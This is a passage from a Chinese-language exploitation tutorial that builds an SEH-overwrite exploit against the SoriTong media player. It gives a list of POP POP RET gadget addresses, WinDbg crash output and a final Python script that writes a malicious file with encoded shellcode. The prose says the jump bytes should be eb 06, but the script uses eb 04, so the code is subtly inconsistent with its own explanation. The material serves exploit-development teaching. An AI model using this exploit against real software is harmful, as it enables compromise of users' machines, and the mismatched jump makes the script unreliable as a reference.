0x1001b5e9 pop esi; pop ebx; ret
0x1001b63c pop esi; pop ebx; ret
0x1001b67f pop esi; pop ebx; ret
0x1001b69c pop esi; pop ebx; ret
0x1001b721 pop esi; pop ebx; ret
0x1001b7b8 pop esi; pop ebx; ret
0x1001b7e9 pop edi; pop esi; ret
0x1001b883 pop edi; pop esi; ret
0x1001bdba pop edi; pop esi; ret
0x1001bddc pop edi; pop esi; ret
0x1001be3c pop edi; pop esi; ret
0x1001becb pop esi; pop ebx; ret
0x1001bedf pop esi; pop ebx; ret
0x1001c0b2 pop esi; pop ebx; ret
0x1001c0d1 pop esi; pop ebx; ret
0x1001c22e pop esi; pop ebx; ret
0x1001c895 pop esi; pop ebx; ret
0x1001cbe1 pop esi; pop ebx; ret
0x1001cfda pop esi; pop ebx; ret
0x1001d0c2 pop esi; pop ebx; ret
0x1001d0f5 pop esi; pop ebx; ret
0x1001d121 pop esi; pop ebx; ret
0x1001d2ac pop esi; pop ebx; ret
0x1001d3dc pop esi; pop ebx; ret
0x1001d86d pop edi; pop esi; ret
0x1001d8f5 pop edi; pop esi; ret
0x1001db65 pop esi; pop ebx; ret
0x1001db90 pop esi; pop ebx; ret
0x1001dbcd pop esi; pop ebx; ret
0x1001dbe3 pop esi; pop ebx; ret
0x1001dc23 pop esi; pop ebx; ret
0x1001dc4b pop esi; pop ebx; ret
0x1001dc95 pop esi; pop ebx; ret
0x1001dcc0 pop esi; pop ebx; ret
0x1001dcfd pop esi; pop ebx; ret
0x1001dd1a pop esi; pop ebx; ret
0x1001dd61 pop esi; pop ebx; ret
0x1001dd8c pop esi; pop ebx; ret
0x1001e067 pop esi; pop ebx; ret
0x1001e0c7 pop edi; pop esi; ret
0x1001e812 pop edi; pop esi; ret
'''

因为空字节00作为字符串的截止标识,所以我们在查找地址时应避免使用带有空字节的地址。这里我们选择0x10018de8,下面我们再来看下payload还缺什么:

'''
[584 characters][next SEH][0x10018de8][Shellcode]
  junk                    current SEH
'''

next SEH还需要填充上shellcode的地址来实现跳转,那么shellcode的地址是是多少呢?我们需要重新生成一个ui.txt,来获取,在新生成的ui.txt中next SEH的位置我们暂时使用断点字符0xcc来代替,方便我们查看next SEH触发时shellcode的地址。

'''python
import struct

uitext = "ui_cc.txt"
junk = "\x41" * 584
seh_next = "\xcc\xcc\xcc\xcc"
seh_handler = str(struct.pack('<L', 0x10018de8))
shellcode = "1ABCDEFGHIJKLMNOPQRSTUVWSYZ"
junk2 = "\x90" * 1000
fp = open(uitext, 'w')
content = junk + seh_next + seh_handler + shellcode + junk2
fp.write(content)
fp.close()
'''

'''
(e1c.fbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010296
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810            mov     byte ptr [eax],dl          ds:0023:00130000=41
0:000> g
(e1c.fbc): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c edi=7c9032a8
eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
<Unloaded_ud.drv>+0x12fd63:
0012fd64 cc              int     3
0:000> d eip
0012fd64  cc cc cc cc 12 e8 01 10-31 41 42 43 44 45 46 47  ........1ABCDEFG
0012fd74  48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49  HIJKLM2ABCDEFGHI
0012fd84  4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b  JKLM3ABCDEFGHIJK
0012fd94  4c 4d 90 90 90 90 90 90-90 90 90 90 90 90 90 90  LM..............
0012fda4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012fdb4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012fdc4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012fdd4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
'''

通过打印EIP地址内容,我们可以发现shellcode距离cc的位置刚好是next SEH + current SEH的距离。如此一来,我们就可以用jmp short指令通过偏移来完成跳转的工作,jmp short对应的机器码是eb占一个字节,后面需要添加一个偏移位置占一个字节,这样剩下的间隔应该就是6个字节,所以next SEH的位置应该填eb 06,但是由于next SEH占4字节,所以我们需要使用0x90来填充空余的两个字节。最后填充结构如下:

'''
[584 characters][0xeb,0x06,0x90,0x90][0x10018de8][NOPs][Shellcode]
  junk               next SEH         current SEH
'''

最终生成payload的python代码如下:

'''python
#!/usr/bin/python
# -*-coding:utf-8-*-
import struct

uitext = "ui_exploit.txt"
junk = "\x41" * 584
seh_next = "\xeb\x04\x90\x90"
seh_handler = str(struct.pack('<L', 0x10018de8))
shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" +\
            "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" +\
            "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" +\
            "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" +\
            "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" +\
            "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37" +\
            "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48" +\
            "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48" +\
            "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" +\
            "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" +\
            "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48" +\
            "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54" +\
            "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48" +\
            "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43" +\
            "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57" +\
            "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a" +\
            "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b" +\
            "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53" +\
            "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" +\
            "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49" +\
            "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46" +\
            "\x4e\x36\x43\x46\x42\x50\x5a"
junk2 = "\x90" * 1000
fp = open(uitext, 'w')
content = junk + seh_next + seh_handler + shellcode + junk2
fp.write(content)
fp.close()
'''

 

pwn

0x05 总结

总结本篇教程学习到的东西,有以下几个:

  1. SEH链条结构及其在栈中的位置
  2. Windows XP SP1添加的XOR和SafeSEH保护机制
  3. 通过msf的msfpescan从dll中查找带有想要操作的函数(“POP POP RET”)
  4. RET操作作为exploit方式的优缺点
  5. 通过windbg的”!analyze -v“ 和“!exchain”命令查看current SEH指针内容

如果您需要了解更多内容,可以
加入QQ群:570982169、486207500
直接询问:010-68438880-8669

 

Spread the word. Share this post!

Meet The Author

2 Comments

  1. dapang10ve

    只要把shellcode的起始地址放到第一个except handler的地方就可以了吧?

  2. dapang10ve

    是不是不用ret的方法,也可以实现shellcode执行吧,只要把shellcode的起始地址放到第一个except handler就可以了吧?

Leave Comment